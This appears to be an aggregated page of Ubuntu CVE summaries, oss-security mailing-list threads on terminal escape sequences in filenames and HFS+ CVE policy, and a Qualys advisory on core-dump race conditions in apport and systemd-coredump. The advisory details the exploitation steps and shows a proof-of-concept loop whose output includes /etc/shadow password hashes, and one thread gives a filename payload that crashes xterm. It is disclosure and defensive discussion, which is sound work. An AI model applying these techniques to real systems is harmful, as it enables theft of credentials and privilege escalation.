stat /etc/ppp stat: cannot stat '/etc/ppp': No such file or directory (os error 2) ------------------------------------------------------------------------

Back in September 2025, we reported this vulnerability to Ubuntu as a denial of service (the ability to delete arbitrary files and directories as root), but after writing this advisory it became perfectly clear that this vulnerability was actually powerful enough to be transformed into a Local Privilege Escalation (LPE) to full root (for example by deleting a /tmp/snap-private-tmp/$SNAP/tmp/.snap directory). Fortunately, this LPE was avoided thanks to the Ubuntu Security Team, who proactively reached out to us and mitigated it before the release of Ubuntu 25.10.

======================================================================== Acknowledgments ========================================================================

We thank everyone at Canonical who worked on this release (Seth Arnold, Zygmunt Krynicki, Nick Dyer, Eduardo Barretto, and Luci Stanescu, in particular) and on the uutils coreutils with us (Octavio Galland, Ravi Kant Sharma, Seth Arnold, and Julian Andres Klode, in particular). We also thank the members of the linux-distros mailing list (Alexander Peslyak in particular).

Finally, we dedicate this advisory to Felix Lindner:

https://phenoelit.de/fx.html https://defcon.social/@thedarktangent/116157827849844661

======================================================================== Timeline ========================================================================

2025-12-15: We sent a draft of our advisory and two proofs of concept (firefox24.04.c and snap-store25.10.c) to the Ubuntu Security Team.

2026-03-12: The Ubuntu Security Team sent a patch, and we sent a draft of our advisory, to the linux-distros mailing list.

2026-03-17: Coordinated Release Date (14:00 UTC).

Severity
7.8
EPSS
0.01%
AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Last updated 25 March 2026

1 / 3
Source: Ubuntu
First published (updated )
Severity
7.1
Use After Free
CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Ubuntu Linux 6.8 GA retains the legacy AFUNIX garbage collector but backports upstream commit 8594d9b85c07 ("afunix: Don’t call skbget() for OOB skb"). When orphaned MSGOOB sockets hit unixgc(), the garbage collector still calls kfreeskb() as if OOB SKBs held two references; on Ubuntu Linux 6.8 (Noble Numbat) kernel tree, they have only the queue reference, so the buffer is freed while still reachable and subsequent queue walks dereference freed memory, yielding a reliable local privilege escalation (LPE) caused by a use-after-free (UAF). Ubuntu builds that have already taken the new GC stack from commit 4090fa373f0e, and mainline Linux kernels shipping that infrastructure are unaffected because they no longer execute the legacy collector path. This issue affects Ubuntu Linux from 6.8.0-56.58 before 6.8.0-84.84.

First published (updated )
Severity
6.9
Null Pointer Dereference
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

NULL pointer dereference in TagSection.keys() in python-apt on APT-based Linux systems allows a local attacker to cause a denial of service (process crash) via a crafted deb822 file with a malformed non-UTF-8 key.

First published (updated )
Severity
8.8
CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

The Ubuntu edk2 UEFI firmware packages accidentally allowed the UEFI Shell to be accessed in Secure Boot environments, possibly allowing bypass of Secure Boot constraints. Versions 2024.05-2ubuntu0.3 and 2024.02-2ubuntu0.3 disable the Shell. Some previous versions inserted a secure-boot-based decision to continue running inside the Shell itself, which is believed to be sufficient to enforce Secure Boot restrictions. This is an additional repair on top of the incomplete fix for CVE-2023-48733.

1 / 2
Source: MITRE
First published (updated )
Severity
9.8
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Rejected reason: This CVE ID was assigned in error.

The End-of-Life status of a component, by itself, does not constitute a vulnerability under the CVE Program’s rules.

This condition represents a security weakness (CWE-1104: Use of Unmaintained Third-Party Components) rather than a specific vulnerability instance.

First published (updated )

On Wed, Aug 13, 2025 at 07:00:58PM +0200, Vincent Lefevre wrote: The following makes the xterm terminal crash

touch "$(printf "file\e[H\e[c\n\b")" gunzip file

due to malicious character sequences in the file name and a bug in xterm. Same issue with bunzip2 instead of gunzip. I do not expect this to only happen with gunzip and bzip2. Does this happen with any program that prints the filename without any escaping, e.g., "echo file", and most programs that print the provided filename ...

On Aug 17, 2025, at 10:09 AM, Erik Auerswald <auerswal () unix-ag uni-kl de> wrote: I'd expect most programs to not change the filename printed in their output. POSIX does not even expect "ls" to sanitize its output without "-q", but it does allow it[0]. Two more example programs that do not sanitize filenames in their output would be "file", at least version "5.41", and "dash", at least the version[1] included in Ubuntu GNU/Linux 22.04.5 LTS. I'd expect that you can find many more examples. Getting every program changed to follow your expectation seems like a Sisyphean task to me.

Please note that I am not opposed to adding that feature to every existing and future program, it just seems foolish to rely on it, at least currently. I agree. It'd be much more secure if the operating simply prevented the creation of filenames with certain names, e.g,. containing control characters and leading dashes. I wrote an essay here specifically about this: https://dwheeler.com/essays/fixing-unix-linux-filenames.html See section 1.3, "Oh, and don’t display filenames. Filenames could contain control characters that control the terminal (and X-windows), causing nasty side-effects on display. Displaying filenames can even cause a security vulnerability — and who expects printing a filename to be a vulnerability?!?" It's not a new problem, I knew about this in the 1980s and I'm sure others did too.

I proposed forbidding such characters to POSIX. They did add a few mechanisms to POSIX to make it somewhat easier to handle filenames with control characters (e.g., find -print0 and xargs -0). However, although they do not require that operating systems allow these filenames, they are not forbidden either.

I have a draft Linux Security Module (LSM) that lets you determine what kind of filenames are allowed to be created. By default it would require non-control-chars, no leading '-', no trailing ' ', and UTF-8 encoding, but it would let you configure further. I intend to go back to that to finish it off & propose it. My original proposal merely prevented creation; it would be possible to hide them entirely, but that comes with its own issues.

--- David A. Wheeler

Hi Erik,

On 2025-08-17 16:09:37 +0200, Erik Auerswald wrote: On Sun, Aug 17, 2025 at 03:09:58AM +0200, Vincent Lefevre wrote: I see this more than a feature, at least in the case the output is done to a terminal. As a general rule, programs are expected to sanitize output data in such as a case. I'd expect most programs to not change the filename printed in their output. POSIX does not even expect "ls" to sanitize its output without "-q", but it does allow it[0]. Probably because of historical behavior. But nowadays, one should be stricter concerning security. Two more example programs that do not sanitize filenames in their output would be "file", at least version "5.41", file 5.46 sanitizes filenames:

$ file --version file-5.46 magic file from /etc/magic:/usr/share/misc/magic $ file file file\033[H\033[c\012\010: empty and "dash", at least the version[1] included in Ubuntu GNU/Linux 22.04.5 LTS. Ditto for dash 0.5.12-12 (with "chmod 0 file" then "dash file"). I'd expect that you can find many more examples. Getting every program changed to follow your expectation seems like a Sisyphean task to me. This is less an issue for dash, because the user will probably not run a script that he hasn't written or controled in some other way. I am quite sure that there are many more such programs. GNU ed too. It outputs the file name unsanitized in its error message saying that control characters 1-31 are not allowed in file name!

-- Vincent Lefèvre <vincent () vinc17 net> - Web: <https://www.vinc17.net/> 100% accessible validated (X)HTML - Blog: <https://www.vinc17.net/blog/> Work: CR INRIA - computer arithmetic / Pascaline project (LIP, ENS-Lyon)

On Tue, 17 Jun 2025 at 20:00:59 +0000, Qualys Security Advisory wrote: On Debian 12 and Ubuntu 24.04, when an unprivileged user logs in via sshd, PAM's pamenv module (from Linux-PAM 1.5.x) also reads this user's ~/.pamenvironment file, because pamenv's "userreadenv" is explicitly set to 1 in /etc/pam.d/sshd (it is 0 by default, since Linux-PAM 1.4.0).

The conflation of the "PAM environment" (ambiguously trusted) with smcv

Hi,

I believe I’ve already shared my main thoughts on this topic on LKML. The discussion between Vyukov and Ts’o is particularly insightful. As I mentioned earlier, it's worth remembering that unprivileged mounting via user namespaces was seriously considered for even block filesystems before, but it was ultimately deemed too difficult—largely due to economic constraints rather than purely technical ones.

That said, there are four points I still feel are worth adding:

1) Maintainers may have missed this, but regardless of the rejected CVE, their CVE automation tooling seems to have picked up the fix as a regular patch. It included an ASAN report with the "out-of-bounds" keyword, so there is now (again) a CVE for my finding:

https://lore.kernel.org/linux-cve-announce/2025050117-CVE-2025-37782-7cc2@gregkh/

NVD may not yet realize it, but CVE-2025-37782 and CVE-2025-0927 refer to the same bug.

2) I haven’t looked into the new report in detail, but I can easily imagine that there are still issues—e.g., bad reads—even without touching extended attributes, just by interacting with the other B-trees. Since the filesystem is no longer orphaned, the new maintainers should be able to assess the report's validity and its actual impact. It probably has less severity, but that remains to be seen.

3) The mismatch in CVE criteria between upstream and downstream distros is a real issue. During the handling of my case, a certain CNA rule was repeatedly cited—without being specified—which led to CVE-2025-0927, initially allocated for Canonical Ubuntu Linux, being reassigned under ownership were originally designed to distribute workload and filter out experience, this creates more confusion than clarity.

4) I think the whole product vs component thing is part of the Cyber Resilience Act anyway, and embedded product manufacturers and entities maintaining distros will likely have to comply with at least the class I requirements, so it probably makes sense to work towards some alignment regarding process until the deadline actually kicks in. Just an idea.

Attila

On 6/3/25 04:59, Solar Designer wrote: Hi,

Muhammed Hüsam Alzeyya, CC'ed here, (kind of) brought an issue in the Linux kernel's HFS+ filesystem implementation to s@k.o and linux-distros at once. This is against both Linux kernel's and linux-distros' current instructions, which ask to "notify the kernel security team first, wait for the fix, and only then notify linux-distros or oss-security". The message didn't actually get through to linux-distros for a technical reason, but a reply quoting its portion did. I promptly sent a reply to Muhammed (CC'ing linux-distros) to explain the situation and ask a few questions, but got no reply. I saw no further communication on this. (I also checked our server logs, and as far as I can tell there were no further rejected/filtered messages from Muhammed's address, neither to linux-distros nor to my address.) I am now bringing this to oss-security for the sake of transparency and not to make an exception, as well as possibly to have a discussion of the general issues.

There was another issue in the same driver publicized a few months ago, with a lot of detail on its exploitation (and the exploit itself):

https://ssd-disclosure.com/ssd-advisory-linux-kernel-hfsplus-slab-out-of-bounds-write/

The above post is very lengthy. I'll quote just some pieces below: SSD Advisory - Linux kernel hfsplus slab-out-of-bounds Write March 18, 2025 SSD Secure Disclosure technical team Vulnerability publication

Summary This advisory describes an out-of-bounds write vulnerability in the Linux kernel that achieves local privilege escalation on Ubuntu 22.04 for active user sessions.

Credit An independent security researcher working with SSD Secure Disclosure.

Vendor Response Ubuntu has released the following advisory and fix: https://ubuntu.com/security/CVE-2025-0927

Affected Versions Linux Kernel, up to 6.12.0 Ubuntu 22.04 with Linux Kernel 6.5.0-18-generic

CVE CVE-2025-0927 Attila Szasz <szasza.contact () gmail com> @4ttil4sz1a Exploit for hfs+ slab out of bounds write targeting Linux kernel 6.5 So I'm also CC'ing Attila Szasz here.

The kernel security team ended up rejecting the CVE:

https://lore.kernel.org/linux-cve-announce/2025033057-CVE-2025-0927-1436@gregkh/T/#u Filesystem bugs due to corrupt images are not considered a CVE for any filesystem that is only mountable by CAPSYSADMIN in the initial user namespace. That includes delegated mounting. However, Ubuntu fixed the issue in many of their kernels, with note: While the upstream kernel developers don't consider exploitable corrupted filesystem images to be a security issue, Ubuntu ships with a polkit rule allowing console users to automount removable media, so we do want to fix this issue for our users. An issue here is that "allowing console users to automount removable media" is a high risk, especially if upstream doesn't intend the code to be robust and secure against corrupt or malicious filesystem images. Maybe there should at least be an allow-list of filesystem types, which would be focused on filesystems most commonly used on removable media?

Another issue is the disconnect on what's CVE-worthy between upstream and the distro. This will keep coming up. Maybe a solution for such cases is to assign CVEs against the distro rather than against upstream?

The linux-cve-announce thread above suggests that upstream may assign CVEs to filesystem implementation issues for corruptions that pass fsck. So theoretically a way for a distro to avoid relying on robustness and security of kernel code beyond what upstream cares about would be to force fsck before mounting a filesystem. However, doing that even for filesystems that claim to be clean (as it would be required for security) is impractical. Also, would the CVEs (and eventual fixes) be against (for) the kernel or fsck then?

Anyway, now the current report by Muhammed is for another issue in almost the same place. While Attila's was an out of bounds write, the new one is reported as an out of bounds read. So its security relevance is not obvious even on systems like Ubuntu that expose this code for attack. This depends on what's done with the value read out of bounds.

Below is the portion of Muhammed's message that got to linux-distros: Re: VULNERABILITY REPORT: Out-of-Bounds Read in HFS+ Filesystem's hfsplusbnoderead Function On Sun, May 25, 2025 at 01:30:18PM +0800, Muhammed Hüsam Alzeyya wrote: Summary

A buffer overflow vulnerability exists in the Linux kernel's HFS+ filesystem implementation. Specifically, the vulnerability is located in the hfsplusbnoderead function in fs/hfsplus/bnode.c. When handling an HFS+ filesystem, this vulnerability allows reading beyond the bounds of an allocated memory region. The issue is triggered when the kernel attempts to delete a file on a specially crafted HFS+ filesystem, which can lead to memory corruption, information leakage, and potential privilege escalation. Affected Environments

This vulnerability affects: - Linux kernel 6.15.0-rc2 (confirmed) - Potentially earlier versions that include the HFS+ filesystem implementation - Any system that allows mounting of HFS+ filesystems, especially if untrusted users can provide filesystem images Alexander

On 6/2/25 22:59, Solar Designer wrote: Hi,

Muhammed Hüsam Alzeyya, CC'ed here, (kind of) brought an issue in the Linux kernel's HFS+ filesystem implementation to s@k.o and linux-distros at once. This is against both Linux kernel's and linux-distros' current instructions, which ask to "notify the kernel security team first, wait for the fix, and only then notify linux-distros or oss-security". The message didn't actually get through to linux-distros for a technical reason, but a reply quoting its portion did. I promptly sent a reply to Muhammed (CC'ing linux-distros) to explain the situation and ask a few questions, but got no reply. I saw no further communication on this. (I also checked our server logs, and as far as I can tell there were no further rejected/filtered messages from Muhammed's address, neither to linux-distros nor to my address.) I am now bringing this to oss-security for the sake of transparency and not to make an exception, as well as possibly to have a discussion of the general issues.

There was another issue in the same driver publicized a few months ago, with a lot of detail on its exploitation (and the exploit itself):

https://ssd-disclosure.com/ssd-advisory-linux-kernel-hfsplus-slab-out-of-bounds-write/

The above post is very lengthy. I'll quote just some pieces below: SSD Advisory - Linux kernel hfsplus slab-out-of-bounds Write March 18, 2025 SSD Secure Disclosure technical team Vulnerability publication

Summary This advisory describes an out-of-bounds write vulnerability in the Linux kernel that achieves local privilege escalation on Ubuntu 22.04 for active user sessions.

Credit An independent security researcher working with SSD Secure Disclosure.

Vendor Response Ubuntu has released the following advisory and fix: https://ubuntu.com/security/CVE-2025-0927

Affected Versions Linux Kernel, up to 6.12.0 Ubuntu 22.04 with Linux Kernel 6.5.0-18-generic

CVE CVE-2025-0927

Attila Szasz <szasza.contact () gmail com> @4ttil4sz1a Exploit for hfs+ slab out of bounds write targeting Linux kernel 6.5 So I'm also CC'ing Attila Szasz here.

The kernel security team ended up rejecting the CVE:

https://lore.kernel.org/linux-cve-announce/2025033057-CVE-2025-0927-1436@gregkh/T/#u Filesystem bugs due to corrupt images are not considered a CVE for any filesystem that is only mountable by CAPSYSADMIN in the initial user namespace. That includes delegated mounting. If nothing else, this can be used to bypass UEFI Secure Boot. However, Ubuntu fixed the issue in many of their kernels, with note: While the upstream kernel developers don't consider exploitable corrupted filesystem images to be a security issue, Ubuntu ships with a polkit rule allowing console users to automount removable media, so we do want to fix this issue for our users. An issue here is that "allowing console users to automount removable media" is a high risk, especially if upstream doesn't intend the code to be robust and secure against corrupt or malicious filesystem images. Maybe there should at least be an allow-list of filesystem types, which would be focused on filesystems most commonly used on removable media? Which ones would you include? Another issue is the disconnect on what's CVE-worthy between upstream and the distro. This will keep coming up. Maybe a solution for such cases is to assign CVEs against the distro rather than against upstream? This is the only option I can see kernel.org being okay with, but it doesn't solve the underlying problem. kernel.org's view of what is (and is not) a vulnerability in a filesystem is severely out of touch with what distros actually do, and that includes security-conscious distros like ChromiumOS. The linux-cve-announce thread above suggests that upstream may assign CVEs to filesystem implementation issues for corruptions that pass fsck. So theoretically a way for a distro to avoid relying on robustness and security of kernel code beyond what upstream cares about would be to force fsck before mounting a filesystem. However, doing that even for filesystems that claim to be clean (as it would be required for security) is impractical. Also, would the CVEs (and eventual fixes) be against (for) the kernel or fsck then? Why is it impractical? Performance? Anyway, now the current report by Muhammed is for another issue in almost the same place. While Attila's was an out of bounds write, the new one is reported as an out of bounds read. So its security relevance is not obvious even on systems like Ubuntu that expose this code for attack. This depends on what's done with the value read out of bounds.

Below is the portion of Muhammed's message that got to linux-distros: Re: VULNERABILITY REPORT: Out-of-Bounds Read in HFS+ Filesystem's hfsplusbnoderead Function On Sun, May 25, 2025 at 01:30:18PM +0800, Muhammed Hüsam Alzeyya wrote: Summary

A buffer overflow vulnerability exists in the Linux kernel's HFS+ filesystem implementation. Specifically, the vulnerability is located in the hfsplusbnoderead function in fs/hfsplus/bnode.c. When handling an HFS+ filesystem, this vulnerability allows reading beyond the bounds of an allocated memory region. The issue is triggered when the kernel attempts to delete a file on a specially crafted HFS+ filesystem, which can lead to memory corruption, information leakage, and potential privilege escalation.

Affected Environments

This vulnerability affects: - Linux kernel 6.15.0-rc2 (confirmed) - Potentially earlier versions that include the HFS+ filesystem implementation - Any system that allows mounting of HFS+ filesystems, especially if untrusted users can provide filesystem images Alexander There are three filesystems that must be secure against malicious images to avoid very serious problems:

1. FAT32, as this is used by the UEFI System Partition and so must be mounted by every UEFI-based system. 2. F2FS, as this is used by Android for its writable storage. 3. ext4, as this is used by ChromiumOS for its writable storage.

In all three cases, a malicious filesystem image can be used to bypass secure boot. UEFI secure boot is often considered quite weak and I tend to agree with this, but Android and ChromiumOS have very strong verified boot mechanisms and being able to break them is without question worthy of a CVE. ChromeOS Security has confirmed that they do indeed consider "attacker corrupts writable storage to get code execution when the machine reboots" to be in scope for their threat model.

The only way I can think of to fix this issue is not technical, but organizational: somehow ensure that the burden of dealing with these bugs falls onto those who care about them, rather than on overworked filesystem maintainers. Is there any way that this could reasonably be done? Could the Android and ChromeOS security teams triage and fix bugs involving crafted images without the filesystem maintainers having to be involved? Or is the solution for the parties who care about these vulnerabilities to completely reimplement the filesystems in Rust and/or using FUSE? -- Sincerely, Demi Marie Obenour (she/her/hers)

Qualys Security Advisory

Local information disclosure in apport and systemd-coredump (CVE-2025-5054 and CVE-2025-4598)

======================================================================== Contents ========================================================================

Summary Mitigation Local information disclosure in apport (CVE-2025-5054) - Background - Analysis - Proof of concept Local information disclosure in systemd-coredump (CVE-2025-4598) - Background - Analysis - Proof of concept Acknowledgments Timeline

======================================================================== Summary ========================================================================

We discovered a vulnerability in apport (Ubuntu's core-dump handler), and a similar vulnerability in systemd-coredump (which is the default core-dump handler on Red Hat Enterprise Linux 9 and Fedora for example): a race condition that allows a local attacker to crash a SUID program and gain read access to the resulting core dump (by quickly replacing the crashed SUID process with another process, before its /proc/pid/ files are analyzed by the vulnerable core-dump handler).

We developed two proofs of concepts for these vulnerabilities (one for Ubuntu 24.04, and one for Fedora 40 and 41, but other distributions are probably also vulnerable and exploitable): they allow a local attacker to obtain the contents of /etc/shadow (password hashes) from the core dump of a crashed unixchkpwd process (unixchkpwd is a SUID or SGID program that is installed by default on most Linux distributions).

Last-minute update: while working on these vulnerabilities, we eventually realized that systemd-coredump does not specify %d (the kernel's per-process "dumpable" flag) in /proc/sys/kernel/corepattern; consequently a local attacker can crash (with kill(SIGSEGV) for example) root daemons that fork() and setuid() to the attacker's uid, gain read access to the resulting core dumps, and therefore to the root daemons' memory. For example, we wrote a trivial proof of concept that dumps the memory of OpenSSH's sshd-session, systemd's sd-pam, and the cron daemon, and obtained secret information such as half of sshd's private ed25519 host key, password hashes from /etc/shadow, other users' crontabs, ASLR addresses, stack canaries. This second attack (against root daemons) is powerful, different from the first attack (against SUID programs), and can certainly be further improved; and other secrets can certainly be obtained from other daemons, but this is left as an exercise for the interested reader.

The fix for these vulnerabilities is twofold:

- always take account of the kernel's per-process "dumpable" flag (the %d specifier), in every code path, to decide whether a non-root user should be given read access to a core dump or not;

- use the new %F specifier in /proc/sys/kernel/corepattern (a pidfd to the crashed process), which was implemented during this coordinated vulnerability disclosure, to detect whether the crashed process was replaced or not with another process, before its analysis; for more information:

https://lore.kernel.org/all/20250414-work-coredump-v2-0-685bf231f828 () kernel org/

======================================================================== Mitigation ========================================================================

To mitigate these vulnerabilities, /proc/sys/fs/suiddumpable can be set to 0 (SUIDDUMPDISABLE, "No setuid dumping"). This prevents all SUID programs and root daemons that drop privileges from being analyzed in case of a crash, but it can act as a temporary fix if the vulnerable core-dump handler itself cannot be patched immediately.

======================================================================== Local information disclosure in apport (CVE-2025-5054) ========================================================================

------------------------------------------------------------------------ Background ------------------------------------------------------------------------

After our discovery of three bypasses in Ubuntu's unprivileged user namespace restrictions, we decided to look for a real-world example of a vulnerability that requires a user namespace with full capabilities. One perfectly obvious example would be a kernel vulnerability that requires CAPSYSADMIN or CAPNETADMIN, but finding and exploiting such a kernel vulnerability would most likely take us months, so we decided to look for a simple userland vulnerability instead.

One target that immediately came to mind is apport, Ubuntu's core-dump handler, because it suffered from multiple vulnerabilities related to namespaces (containers) in the past; for example, the following excellent write-ups by Tavis Ormandy and Sander Bos:

- CVE-2015-1318: https://www.openwall.com/lists/oss-security/2015/04/14/4 - CVE-2017-14180: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1726372 - CVE-2019-11483: https://bugs.launchpad.net/apport/+bug/1839420

But as soon as we started to read apport's source code, we realized that it has been considerably hardened over the years:

- The most common attack vector against apport, which consisted in tricking apport into dumping an attacker-controlled core file into a root-owned directory such as /etc/sudoers.d/ or /etc/logrotate.d/, has been completely eradicated: apport now dumps all core files into a hard-coded directory (/var/lib/apport/coredump/ by default).

- The race condition that allows a local attacker to replace a crashed process with another process, before its /proc/pid/ files are analyzed but after apport has started, has been largely mitigated in apport (by thorough security checks in its consistencychecks() function).

To further detail this last point: perhaps surprisingly, a local attacker can send a SIGKILL signal to an already-crashed process, thus allowing the attacker to recycle the crashed process's pid (by creating many new processes until the crashed-and-killed process's pid is reused) and tricking apport into analyzing the /proc/pid/ files of the wrong process. This race condition has been exploited several times in the past; for example, the following outstanding write-ups by Philip Pettersson, Kevin Backhouse, Ryota Shiga, and Itai Greenhut:

- CVE-2015-1325: https://www.openwall.com/lists/oss-security/2015/05/21/10 - CVE-2019-15790: https://github.blog/security/vulnerability-research/ubuntu-apport-pid-recycling-security-vulnerability-cve-2019-15790/ - CVE-2020-15702: https://flatt.tech/research/posts/race-condition-vulnerability-in-handling-of-pid-by-apport/ - CVE-2021-25684: https://alephsecurity.com/2021/02/16/apport-lpe/

But as mentioned earlier, this race condition has now been largely mitigated in apport, by:

- immediately open()ing a file descriptor to the crashed process's /proc/pid/ directory and accessing all the files in this directory through this file descriptor and the at() syscalls (openat() etc);

- checking that the starttime in /proc/pid/stat is earlier than the starttime of apport itself (i.e., ensuring that an attacker has not replaced the crashed process with another process, after apport has started);

- double-checking that the real Uid and Gid in /proc/pid/status still match the real uid and gid of the crashed process at the time of its crash.

Last-minute note: we eventually verified that the starttime check is in fact useless, from a security point of view; an attacker can replace the crashed process with another process even before apport starts, and with the right timing can still give the kernel enough time to generate the core dump of the originally crashed process.

------------------------------------------------------------------------ Analysis ------------------------------------------------------------------------

Unfortunately, while reading apport's code we noticed that the function that handles crashes inside namespaces (checkglobalpidandforward(), at line 769) is called before the aforementioned security checks are run (in consistencychecks(), at line 951); in other words, an attacker can trick apport's checkglobalpidandforward() into analyzing the wrong process, while the kernel still sends the core dump of the originally crashed process to apport (over its file descriptor 0, stdin):

------------------------------------------------------------------------ 750 def main(args: list[str]) -> int: ... 769 if checkglobalpidandforward(options): 770 return 0 ... 775 return processcrashfromkernel(options) ------------------------------------------------------------------------ 921 def processcrashfromkernel(options: argparse.Namespace) -> int: ... 924 return processcrashfromkernelwithprocpid(options, procpid) ------------------------------------------------------------------------ 941 def processcrashfromkernelwithprocpid( 942 options: argparse.Namespace, procpid: ProcPid 943 ) -> int: ... 951 if not consistencychecks(options, processstart, procpid, realuser): 952 return 0 ------------------------------------------------------------------------

And so an attack idea against apport began to form in our mind:

a/ first, we fork() a new process and execve() a SUID or SGID program, and wait until it loads secret information into its memory (for example, password hashes from /etc/shadow);

b/ second, we crash this process at the right time, by kill()ing it with a core-dumping signal such as SIGSEGV or SIGSYS, thus causing the kernel to create a new apport process to analyze this crash;

c/ then, after apport has started but before it analyzes the crashed process's /proc/pid/ files, we SIGKILL the crashed process and quickly replace it with another process that is not SUID or SGID, but that is running inside a user, mount, and pid namespace (to pass the tests at lines 726-727, below);

(note: naturally, we use one of our bypasses in Ubuntu's unprivileged user namespace restrictions to create this namespace)

d/ as a result, apport connects to the Unix socket /run/apport.socket inside our mount namespace (at lines 521-584, below) and sends us its file descriptor 0, from where we can read the kernel-generated core dump of the originally crashed process, and hence the secret information from the memory of the SUID or SGID program (for example, password hashes).

------------------------------------------------------------------------ 712 def checkglobalpidandforward(options: argparse.Namespace) -> bool: ... 726 if not issamens(options.globalpid, "mnt"): 727 if not issamens(options.globalpid, "pid"): 728 forwardcrashtocontainer(options) 729 return True ------------------------------------------------------------------------ 509 def forwardcrashtocontainer( 510 options: argparse.Namespace, coredumpfd: int = 0, hascapsysadmin: bool = True 511 ) -> None: ... 521 prochostpidfd = os.open( 522 f"/proc/{options.globalpid}", os.ORDONLY | os.OPATH | os.ODIRECTORY 523 ) ... 531 sockfd = os.open( 532 "root/run/apport.socket", os.ORDONLY | os.OPATH, dirfd=prochostpidfd 533 ) ... 584 sock.connect(f"/proc/self/fd/{sockfd}") ------------------------------------------------------------------------

To put this theoretical attack idea into practice, we must solve three major problems:

1/ In step c/ we must SIGKILL the crashed process long before we can read any information from the file descriptor 0 that apport sends to us. This file descriptor 0 is the read end of a pipe whose internal 64KB buffer is filled by the kernel with the beginning of the crashed process's core dump, before we SIGKILL it.

The question, then, is: can we find a SUID or SGID program whose ELF segments and heap fit into the pipe's internal 64KB buffer, and whose heap contains secret information?

Luckily we found unixchkpwd, a small (~31KB) SUID-root or SGID-shadow program that is used by PAM to verify the password of a user, and which therefore loads the contents of /etc/shadow (password hashes) into its heap.

Last-minute note: while drafting this advisory, we realized that it might be possible to use /proc/pid/coredumpfilter to exclude the ELF segments from the program's core dump, which might make it possible to attack larger SUID programs such as su or sudo; this is left as an exercise for the interested reader.

2/ In step b/ we must win a first race condition: we must crash the SUID process "at the right time", with a SIGSEGV or SIGSYS for example. If we crash it too early, then the password hashes from /etc/shadow are not loaded into the heap yet; if we crash it too late, then the password hashes in the heap are already overwritten with other information.

Ideally, to reliably win this race condition, we should add an INCLOSENOWRITE watch on /etc/shadow, which would allow us to crash the SUID process as soon as the contents of /etc/shadow are loaded into its heap. Unfortunately, we cannot add such a watch, because /etc/shadow is not readable by us. As a makeshift solution, we add an INCLOSENOWRITE watch on /etc/passwd instead, which is opened and closed immediately before /etc/shadow.

With our proof of concept, we almost always obtain some password hashes from unixchkpwd's heap, and from time to time we also obtain the entire contents of /etc/shadow. In any case, we can simply re-execute our proof of concept until we obtain the password hash that we are looking for, and we believe that the reliability of this step b/ can still be improved.

3/ In step c/ we must win a second race condition: we must SIGKILL the crashed SUID process and "quickly" replace it with a non-SUID namespaced process (before apport calls its checkglobalpidandforward()). If we SIGKILL it too early, then the kernel does not have enough time to write the beginning of the crashed process's core dump into apport's file descriptor 0; if we SIGKILL it too late, then apport analyzes the crashed process's /proc/pid/ (instead of our namespaced process's /proc/pid/) and therefore does not send us its file descriptor 0.

In our experiments, and depending on the test machines, it takes between 1 and 4 minutes to replace the crashed SUID process with another process (i.e., to recycle its pid) because /proc/sys/kernel/pidmax is 4M (2^22) nowadays, not 32K (note: we call clone() with most of the CLONE flags to create new processes, to minimize the work done by the kernel; it would take 3 to 6 times longer if we were simply calling fork()).

Consequently, we cannot just "quickly" replace the crashed SUID process in step c/; instead:

- in step b/ we do not immediately crash the SUID process (with SIGSEGV or SIGSYS), but we first SIGSTOP it, then create ~4M processes until their pids wrap around and almost reach the pid of the SUID process, and finally we crash (SIGSEGV or SIGSYS) and resume (SIGCONT) the SUID process;

- in step c/ we SIGKILL the crashed SUID process, and quickly create a mere handful of namespaced processes until their pids reach and reuse the pid of the crashed-and-killed SUID process.

Our proof of concept always wins this second race condition (the "kill-and-replace" race condition): because apport is written in Python, it loads numerous .pyc files during its initialization, so we simply add an INOPEN watch on one of these files (on aptdpkg.cpython-312.pyc for example) and still have plenty of time (after apport has triggered our watch point) to SIGKILL and replace the crashed SUID process with a namespaced process (before apport analyzes its /proc/pid/ files).

------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------

$ grep PRETTYNAME= /etc/os-release PRETTYNAME="Ubuntu 24.04.2 LTS"

$ id uid=1001(evey) gid=1001(evey) groups=1001(evey),100(users)

$ while true; do core="$(printf 'whatever\0' | ./CVE-2025-5054 /usr/sbin/unixchkpwd "$USER" nullok)"; if tr -c ' -~' '\n' < "$core" | grep '\$[0-9A-Za-z]\+\$[0-9A-Za-z./]'; then break; fi; done

... pid 1093 tid 1030 core will be dumped in /tmp/run.q5qBcg signal 9 accept 4 args 1093 31 18446744073709551615 2 fd 5 died in childuserns: 151 status 1 died in main: 280 $y$j9T$KC0.pKjUYzrr3L8VVNQ8l/$11KufHkbNKHRxgolryPxDQDZ.Ox9kG4RIv0Pxe1FgxA $y$j9T$KC0.pKjUYzrr3L8VVNQ8l/$11KufHkbNKHRxgolryPxDQDZ.Ox9kG4RIv0Pxe1FgxA theadmin:$6$7Ag0AvjQl4XQvSO4$T1mMcQeC0K7FICHEj9pNV20XcUX4IW6Xqg45lyuORtia1vPCOy2ZrFlTa.ZEf0EAO6rpNRma1ucCjO3aL64KW0:20145:0:99999:7::: evey:$y$j9T$KC0.pKjUYzrr3L8VVNQ8l/$11KufHkbNKHRxgolryPxDQDZ.Ox9kG4RIv0Pxe1FgxA:20145:0:99999:7:::

======================================================================== Local information disclosure in systemd-coredump (CVE-2025-4598) ========================================================================

------------------------------------------------------------------------ Background ------------------------------------------------------------------------

